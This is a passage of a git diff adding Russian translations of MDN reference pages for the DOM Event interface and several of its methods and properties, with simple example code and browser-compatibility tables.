+        e.eventPhase == 3 ? "bubbling" : "error";
+    divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "&lt;br/&gt;";
+  }
+  function Clear()
+  {
+    for (var i = 0; i &lt; divs.length; i++)
+    {
+      if (divs[i].id != "divInfo")
+        divs[i].style.backgroundColor = (i &amp; 1) ? "#f6eedb" : "#cceeff";
+    }
+    divInfo.innerHTML = '';
+  }
+  &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Specification" name="Specification">Спецификация</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-eventPhase">DOM Level 2 Events: Event.eventPhase </a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/event.eventPhase" } ) }}</p>
diff --git a/files/ru/web/api/event/index.html b/files/ru/web/api/event/index.html
new file mode 100644
index 0000000000..fbc7c4726f
--- /dev/null
+++ b/files/ru/web/api/event/index.html
@@ -0,0 +1,251 @@
+---
+title: Event
+slug: Web/API/Event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+  - Событие
+translation_of: Web/API/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Интерфейс <code><strong>Event</strong></code> представляет собой любое событие, которое происходит в <a href="/ru/docs/DOM/DOM_Reference">DOM</a>; некоторые из них генерируемые пользователем (клик мышью или нажатие клавиши на клавиатуре), а некоторые - генерируемые API (события, обозначающие завершение процесса анимации, приостановка видео и т.д.). Существует много типов событий, некоторые из них используют интерфейсы, базирующиеся на главном интерфейсе <code>Event</code>. <code>Event</code> содержит общие свойства и методы для всех событий.</p>
+
+<h2 id="Introduction" name="Introduction">Интерфейсы, основанные на <code>Event</code></h2>
+
+<p>Ниже приведён список интерфейсов, основанных на главном интерфейсе <code>Event</code>, а также указаны ссылки на них в документации MDN API. Заметьте, что имена всех интерфейсов оканчиваются на "Event".</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("AudioProcessingEvent")}}</li>
+ <li>{{domxref("BeforeInputEvent")}}</li>
+ <li>{{domxref("BeforeUnloadEvent")}}</li>
+ <li>{{domxref("BlobEvent")}}</li>
+ <li>{{domxref("ClipboardEvent")}}</li>
+ <li>{{domxref("CloseEvent")}}</li>
+ <li>{{domxref("CompositionEvent")}}</li>
+ <li>{{domxref("CSSFontFaceLoadEvent")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>{{domxref("DeviceOrientationEvent")}}</li>
+ <li>{{domxref("DeviceProximityEvent")}}</li>
+ <li>{{domxref("DOMTransactionEvent")}}</li>
+ <li>{{domxref("DragEvent")}}</li>
+ <li>{{domxref("EditingBeforeInputEvent")}}</li>
+ <li>{{domxref("ErrorEvent")}}</li>
+ <li>{{domxref("FetchEvent")}}</li>
+ <li>{{domxref("FocusEvent")}}</li>
+ <li>{{domxref("GamepadEvent")}}</li>
+ <li>{{domxref("HashChangeEvent")}}</li>
+ <li>{{domxref("IDBVersionChangeEvent")}}</li>
+ <li>{{domxref("InputEvent")}}</li>
+ <li>{{domxref("KeyboardEvent")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MouseEvent")}}</li>
+ <li>{{domxref("MutationEvent")}}</li>
+ <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+ <li>{{domxref("PageTransitionEvent")}}</li>
+ <li>{{domxref("PointerEvent")}}</li>
+ <li>{{domxref("PopStateEvent")}}</li>
+ <li>{{domxref("ProgressEvent")}}</li>
+ <li>{{domxref("RelatedEvent")}}</li>
+ <li>{{domxref("RTCDataChannelEvent")}}</li>
+ <li>{{domxref("RTCIdentityErrorEvent")}}</li>
+ <li>{{domxref("RTCIdentityEvent")}}</li>
+ <li>{{domxref("RTCPeerConnectionIceEvent")}}</li>
+ <li>{{domxref("SensorEvent")}}</li>
+ <li>{{domxref("StorageEvent")}}</li>
+ <li>{{domxref("SVGEvent")}}</li>
+ <li>{{domxref("SVGZoomEvent")}}</li>
+ <li>{{domxref("TimeEvent")}}</li>
+ <li>{{domxref("TouchEvent")}}</li>
+ <li>{{domxref("TrackEvent")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+ <li>{{domxref("UIEvent")}}</li>
+ <li>{{domxref("UserProximityEvent")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+</ul>
+</div>
+
+<h2 id="Constructor" name="Constructor">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Event.Event", "Event()")}}</dt>
+ <dd>Создает объект <code>Event</code> и возвращает его вызывающему.</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Event.bubbles")}} {{readonlyinline}}</dt>
+ <dd>Логическое значение, указывающее, вспыло ли событие вверх по DOM или нет.</dd>
+ <dt>{{domxref("Event.cancelBubble")}}</dt>
+ <dd>Историческое название синонима {{domxref("Event.stopPropagation()")}}. Если установить знаение в <code>true</code> до возврата из обработчика события (Event Handler), то событие не будет распространяться дальше (например, на обрабочики для родительских узлов).</dd>
+ <dt>{{domxref("Event.cancelable")}} {{readonlyinline}}</dt>
+ <dd>Логическое значение, показывающее возможность отмены события.</dd>
+ <dt>{{domxref("Event.composed")}} {{ReadOnlyInline}}</dt>
+ <dd>Логическое значение, показывающее может или нет событие всплывать через границы между shadow DOM (внутренний DOM конкретного элемента) и обычного DOM документа.</dd>
+ <dt>{{domxref("Event.currentTarget")}} {{readonlyinline}}</dt>
+ <dd>Ссылка на текущий зарегистрированный объект, на котором обрабатывается событие. Это объект, которому планируется отправка события; поведение можно изменить с использованием перенаправления (<em>retargeting</em>).</dd>
+ <dt>{{domxref("Event.deepPath")}} {{non-standard_inline}}</dt>
+ <dd>{{jsxref("Array", "Массив")}} DOM-{{domxref("Node", "узлов")}}, через которые всплывало событие.</dd>
+ <dt>{{domxref("Event.defaultPrevented")}} {{readonlyinline}}</dt>
+ <dd>Показывает, была ли для события вызвана функция {{domxref("event.preventDefault()")}}.</dd>
+ <dt>{{domxref("Event.eventPhase")}} {{readonlyinline}}</dt>
+ <dd>Указывает фазу процесса обработки события.</dd>
+ <dt>{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Явный первоначальный целевой объект события (Mozilla-специфичный). Не может содержать <a href="/en-US/docs/Mozilla/Tech/XBL/XBL_1.0_Reference/Anonymous_Content">анонимного контента</a>.</dd>
+ <dt>{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Первоначальный целевой объект события до перенаправлений (Mozilla-специфичный). Может быть из <a href="/en-US/docs/Mozilla/Tech/XBL/XBL_1.0_Reference/Anonymous_Content">анонимного контента</a>.</dd>
+ <dt>{{domxref("Event.returnValue")}} {{non-standard_inline}}</dt>
+ <dd>Нестандартная альтернатива (оставшаяся от старых версий Microsoft Internet Explorer) для {{domxref("Event.preventDefault()")}} и {{domxref("Event.defaultPrevented")}}.</dd>
+ <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt>
+ <dd>{{jsxref("Boolean", "Логическое значение")}}, показывающее всплывает ли данное событие через shadow root (внутренний DOM элемента). Это свойство было переименовано в  {{domxref("Event.composed", "composed")}}.</dd>
+ <dt>{{domxref("Event.srcElement")}} {{non-standard_inline}}</dt>
+ <dd>Нестандартный синоним (остался от старых версий Microsoft Internet Explorer) для {{domxref("Event.target")}}.</dd>
+ <dt>{{domxref("Event.target")}} {{readonlyinline}}</dt>
+ <dd>Ссылка на целевой объект, на котором произошло событие.</dd>
+ <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt>
+ <dd>Время, когда событие было создано (в миллисекундах). По спецификации это время от начала Эпохи (Unix Epoch), но в действительности в разных браузерах определяется по-разному; кроме того, ведётся работа по изменению его на {{domxref("DOMHighResTimeStamp")}} тип.</dd>
+ <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt>
+ <dd>Название события (без учета регистра символов).</dd>
+ <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt>
+ <dd>Показывает было или нет событие инициировано браузером (например, по клику мышью) или из скрипта (например, через функцию создания события, такую как <a href="/en-US/docs/DOM/event.initEvent">event.initEvent</a>)</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Event.createEvent()")}} </dt>
+ <dd>
+ <p>Создаёт новое событие, которое затем должно быть проинициализировано вызовом его метода <code>initEvent()</code>.</p>
+ </dd>
+</dl>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Event.initEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Инициализация значений созданного с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createEvent" title="Creates an event of the type specified. The returned object should be first initialized and can then be passed to element.dispatchEvent.">Document.createEvent()</a> события. Если событие уже отправлено, то эта функция ничего не делает.</dd>
+ <dt>{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt>
+ <dd>Предотвращает всплытие события. Устаревшая, используйте вместо неё {{domxref("event.stopPropagation")}}.</dd>
+ <dt>{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt>
+ <dd>Устаревшая, используйте вместо неё {{domxref("event.stopPropagation")}}.</dd>
+ <dt>{{domxref("Event.preventDefault()")}}</dt>
+ <dd>Отменяет событие (если его возможно отменить).</dd>
+ <dt>{{domxref("Event.stopImmediatePropagation()")}}</dt>
+ <dd>Для конкретного события не будет больше вызвано обработчиков. Ни тех, которые привязаны к этому же элементу (на котором работает обработчик, который вызывает этот Event.stopImmediatePropagation()), ни других, которые могли бы вызваться при распространении события позже (например, в фазе перехвата - capture).</dd>
+ <dt>{{domxref("Event.stopPropagation()")}}</dt>
+ <dd>Остановка распространения события далее по DOM.</dd>
+ <dt>{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}}</dt>
+ <dd>Нестандартная. Возвращает значение {{domxref("Event.defaultPrevented")}}. Используйте вместо неё {{domxref("Event.defaultPrevented")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>cancelBubble</code> определён в  Event</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(53)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>cancelBubble</code> определён в Event</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(53)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Firefox 52, это свойство было определено в интерфейсе {{domxref("UIEvent")}}. Для деталей смотрите {{bug(1298970)}}.</p>
+
+<h2 id="See_also" name="See_also">Смотрите так же</h2>
+
+<ul>
+ <li>Типы событий: <a href="/en-US/docs/Web/Reference/Events">Event reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Сравнение Event Targets</a> (target и currentTarget и relatedTarget и originalTarget)</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Creating and triggering custom events</a></li>
+ <li>Для разработчиков дополнений Firefox:
+  <ul>
+   <li><a href="/en-US/docs/Listening_to_events_in_Firefox_extensions">Listening to events in Firefox extensions</a></li>
+   <li><a href="/en-US/docs/Listening_to_events_on_all_tabs">Listening to events on all tabs</a></li>
+  </ul>
+ </li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/Events">Mozilla related events in real life at wiki.mozilla.org</a></li>
+</ul>
diff --git a/files/ru/web/api/event/initevent/index.html b/files/ru/web/api/event/initevent/index.html
new file mode 100644
index 0000000000..a3c18c08a3
--- /dev/null
+++ b/files/ru/web/api/event/initevent/index.html
@@ -0,0 +1,78 @@
+---
+title: Event.initEvent()
+slug: Web/API/Event/initEvent
+translation_of: Web/API/Event/initEvent
+---
+<div>{{ ApiRef("DOM") }}{{deprecated_header}}</div>
+
+<p>The <strong><code>Event.initEvent()</code></strong> method is used to initialize the value of an {{ domxref("event") }} created using {{ domxref("Document.createEvent()") }}.</p>
+
+<p>Events initialized in this way must have been created with the {{ domxref("Document.createEvent()") }} method. This method must be called to set the event before it is dispatched, using {{ domxref("EventTarget.dispatchEvent()") }}. Once dispatched, it doesn't do anything anymore.</p>
+
+<div class="note">
+<p><strong>Не используйте этот метод, т.к. он устаревший. (deprecated)</strong></p>
+
+<p>Вместо него используйте такой специальный конструктор событий, как {{domxref("Event.Event", "Event()")}}. Страница <a href="/en-US/docs/Web/Guide/Events/Creating_and_triggering_events">Creating and triggering events</a> даст больше информации о возможностях использования.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>event</em>.initEvent(<em>type</em>, <em>bubbles</em>, <em>cancelable</em>);</pre>
+
+<dl>
+ <dt><em><code>type</code></em></dt>
+ <dd>{{domxref("DOMString")}}, определяющая тип события.</dd>
+ <dt><em><code>bubbles</code></em></dt>
+ <dd>Is a {{jsxref("Boolean")}} deciding whether the event should bubble up through the event chain or not. Once set, the read-only property {{ domxref("Event.bubbles") }} will give its value.</dd>
+ <dt><em><code>cancelable</code></em></dt>
+ <dd>Is a {{jsxref("Boolean")}} defining whether the event can be canceled. Once set, the read-only property {{ domxref("Event.cancelable") }} will give its value.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre><code>// Create the event.
+var event = document.createEvent('Event');
+</code>
+// Create a click event that bubbles up and
+// cannot be canceled <code>
+event.initEvent('click', true, false);
+
+// Listen for the event.
+elem.addEventListener('click', function (e) {
+  // e.target matches elem
+}, false);
+
+elem.dispatchEvent(event);</code>
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-initevent','Event.initEvent()')}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Начиная с {{SpecName('DOM2 Events')}} - deprecated, заменено на event constructors.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','##Events-Event-initEvent','Event.initEvent()')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Event.initEvent")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The constructor to use instead of this deprecated method: {{domxref("Event.Event", "Event()")}}. More specific constructors can be used too.</li>
+</ul>
diff --git a/files/ru/web/api/event/istrusted/index.html b/files/ru/web/api/event/istrusted/index.html
new file mode 100644
index 0000000000..db7ab78c4d
--- /dev/null
+++ b/files/ru/web/api/event/istrusted/index.html
@@ -0,0 +1,109 @@
+---
+title: Event.isTrusted
+slug: Web/API/Event/isTrusted
+translation_of: Web/API/Event/isTrusted
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>isTrusted</code> - свойство объекта {{domxref("Event")}}, доступное только на чтение. Принимает значение true, если событие было инициировано действиями пользователя, и false, если событие было создано или изменено скриптом, либо с помощью dispatchEvent</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="syntaxbox">var bool = event.isTrusted;
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre> if (e.isTrusted) {
+     /* The event is trusted. */
+ } else {
+     /* The event is not trusted. */
+ }
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Добавлены требования для определения значения свойства.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Первичное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatOpera(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  В Chrome, начиная с версии 53, события с isTrusted = false не вызывают действия по умолчанию. </p>
+
+<p>[2] В Internet Explorer, все события имеют свойство isTrusted  = true, за исключением созданных с помощью метода  <code>createEvent()</code>.</p>
diff --git a/files/ru/web/api/event/preventdefault/index.html b/files/ru/web/api/event/preventdefault/index.html
new file mode 100644
index 0000000000..de7b9c69c1
--- /dev/null
+++ b/files/ru/web/api/event/preventdefault/index.html
@@ -0,0 +1,145 @@
+---
+title: Event.preventDefault()
+slug: Web/API/Event/preventDefault
+tags:
+  - DOM
+  - preventDefault
+  - метод
+  - события
+translation_of: Web/API/Event/preventDefault
+---
+<div>{{ apiRef("DOM") }}</div>
+
+<div>Метод preventDefault () интерфейса {{domxref ("Event")}} сообщает {{Glossary("User agent")}}, что если событие не обрабатывается явно, его действие по умолчанию не должно выполняться так, как обычно. Событие продолжает распространяться как обычно, до тех пор, пока один из его обработчиков не вызывает методы {{domxref ("Event.stopPropagation", " stopPropagation ()")}} или {{domxref (" Event.stopImmediatePropagation", " stopImmediatePropagation ()")}}, любой из которых сразу же прекращает распространение.</div>
+
+<div></div>
+
+<div>Как отмечено ниже, вызов метода preventDefault () для события, не подлежащего отмене, например события, отправленного через {{domxref("EventTarget.dispatchEvent ()")}}, без указания cancelable: true не имеет эффекта.</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>event</em>.preventDefault();</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>По умолчанию щелчок по флажку переключает его состояние на противоположное. В этом примере показано, как предотвратить такое поведение:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример preventDefault&lt;/title&gt;
+
+&lt;script&gt;
+function stopDefAction(evt) {
+    evt.preventDefault();
+}
+
+document.getElementById('my-checkbox').addEventListener(
+    'click', stopDefAction, false
+);
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;Пожалуйста, щёлкните по флажку.&lt;/p&gt;
+
+&lt;form&gt;
+    &lt;input type="checkbox" id="my-checkbox" /&gt;
+    &lt;label for="my-checkbox"&gt;Checkbox&lt;/label&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Вы можете посмотреть работу <code>preventDefault</code> в действии <a class="internal" href="/samples/domref/dispatchEvent.html" title="samples/domref/dispatchEvent.html">здесь</a>.</p>
+
+<p>В следующем примере некорректный ввод останавливается и вводимый символ не добавляется в поле с <code>preventDefault()</code>.</p>
+
+<div id="preventDefault_invalid_text">
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример preventDefault&lt;/title&gt;
+
+&lt;script&gt;
+</pre>
+
+<pre class="brush: js">function Init () {
+    var myTextbox = document.getElementById('my-textbox');
+    myTextbox.addEventListener( 'keypress', checkName, false );
+}
+
+function checkName(evt) {
+    var charCode = evt.charCode;
+    if (charCode != 0) {
+        if (charCode &lt; 97 || charCode &gt; 122) {
+            evt.preventDefault();
+            alert(
+                "Пожалуйста, используйте только буквы нижнего регистра на латинице"
+                + "\n" + "charCode: " + charCode + "\n"
+            );
+        }
+    }
+}
+</pre>
+
+<pre class="brush: html">&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="Init ()"&gt;
+    &lt;p&gt;Пожалуйста, введите своё имя, используя только буквы нижнего регистра на латинице.&lt;/p&gt;
+    &lt;form&gt;
+        &lt;input type="text" id="my-textbox" /&gt;
+    &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>Результат выполнения кода:</p>
+
+<p>{{ EmbedLiveSample('preventDefault_invalid_text', '', '', '') }}</p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Вызов <code>preventDefault</code> на любой стадии выполнения  потока событий отменяет событие, а это означает, что любое действие по умолчанию обычно принимается реализацией, как  результат события, которое  не произойдет.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong>  В {{Gecko("6.0")}}, вызов <code>preventDefault()</code> приводит к {{ domxref("event.defaultPrevented") }} к переходу значения в состояние <code>True</code>.</p>
+</div>
+
+<p>Вы можете использовать <a href="/en-US/docs/Web/API/event.cancelable" title="/en-US/docs/Web/API/event.cancelable">event.cancelable</a> чтобы проверить, является ли событие отменяемым. Вызов <code>preventDefault</code> для неотменяемых событий не имеет никакого эффекта.</p>
+
+<p><code>preventDefault</code> не останавливает дальнейшее распространение событий на DOM. Для этого следует использовать <a href="/en-US/docs/Web/API/event.stopPropagation" title="/en-US/docs/Web/API/event.stopPropagation">event.stopPropagation</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-preventdefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-preventdefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-preventDefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>
+    <p>первичное определение.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/event/srcelement/index.html b/files/ru/web/api/event/srcelement/index.html
new file mode 100644
index 0000000000..813fcf0c69
--- /dev/null
+++ b/files/ru/web/api/event/srcelement/index.html
@@ -0,0 +1,74 @@
+---
+title: Event.srcElement
+slug: Web/API/Event/srcElement
+translation_of: Web/API/Event/srcElement
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<p><strong><code>Event.srcElement</code></strong> это проприетарный синоним стандартного свойства {{domxref("Event.target")}}. Специфичен для старых версий Microsoft Internet Explorer.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не является частью каких-либо спецификаций.</p>
+
+<p>Имеет <a href="https://msdn.microsoft.com/en-us/library/ff974945(v=vs.85).aspx">описание от Microsoft на MSDN</a>.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: {{bug(453968)}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Window.event")}}</li>
+</ul>
diff --git a/files/ru/web/api/event/stopimmediatepropagation/index.html b/files/ru/web/api/event/stopimmediatepropagation/index.html
new file mode 100644
index 0000000000..177bffde51
--- /dev/null
+++ b/files/ru/web/api/event/stopimmediatepropagation/index.html
@@ -0,0 +1,31 @@
+---
+title: Event.stopImmediatePropagation()
+slug: Web/API/Event/stopImmediatePropagation
+tags:
+  - API
+  - Gecko DOM Reference
+  - NeedsBrowserCompatibility
+  - stopImmediatePropagation
+  - Событие
+  - Ссылка
+  - Уровень 3
+  - Экспериментальные функции
+  - метод
+translation_of: Web/API/Event/stopImmediatePropagation
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Останавливает цепочку вызова событий для последующих слушателей DOM элемента.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>event</em>.stopImmediatePropagation();
+</pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p>Если несколько слушателей прикреплены к одному и тому же элементу с одинаковым типом события, тогда они будут вызваны в порядке своего добавления. Если один из этих слушателей вызовет <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 19.0909080505371px;">event.stopImmediatePropagation() тогда события оставшихся слушателей вызваны не будут.</span></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-event-type-stopImmediatePropagation">DOM Level 3 Events: stopImmediatePropagation</a></p>
diff --git a/files/ru/web/api/event/stoppropagation/index.html b/files/ru/web/api/event/stoppropagation/index.html
